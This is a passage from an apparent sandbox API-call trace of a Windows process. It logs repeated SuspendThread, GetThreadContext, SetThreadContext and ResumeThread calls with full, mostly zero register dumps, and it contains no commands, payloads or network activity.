[113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0087.423] SetThreadContext (hThread=0x130, lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147780, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12f89c0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0087.525] ResumeThread (hThread=0x130) returned 0x1
[0087.525] CloseHandle (hObject=0x130) returned 1
[0087.525] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0087.698] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0087.757] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0087.832] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0087.906] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0087.984] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0088.145] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0088.145] SuspendThread (hThread=0x130) returned 0x0
[0088.145] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc000147730, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12a6920, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0088.286] ResumeThread (hThread=0x130) returned 0x1
[0088.286] CloseHandle (hObject=0x130) returned 1
[0088.287] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0088.423] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0088.423] SuspendThread (hThread=0x130) returned 0x0
[0088.423] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10206, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffad8, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12df340, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0088.490] ResumeThread (hThread=0x130) returned 0x1
[0088.490] CloseHandle (hObject=0x130) returned 1
[0088.491] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0088.524] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0088.560] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0088.640] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0088.883] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0088.883] SuspendThread (hThread=0x130) returned 0x0
[0088.883] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10202, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xd17c3ffa00, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x12b69e0, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
[0088.995] ResumeThread (hThread=0x130) returned 0x1
[0088.995] CloseHandle (hObject=0x130) returned 1
[0088.996] NtWaitForSingleObject (Object=0xffffffffffffffff, Alertable=0, Time=0xd17c7ff8f0) returned 0x102
[0089.072] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0xc0, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0xd17c7ff3d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0xd17c7ff3d8*=0x130) returned 1
[0089.072] SuspendThread (hThread=0x130) returned 0x0
[0089.072] GetThreadContext (in: hThread=0x130, lpContext=0xd17c7ff3f0 | out: lpContext=0xd17c7ff3f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x10213, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0xc0001477d0, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x137d03e, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, 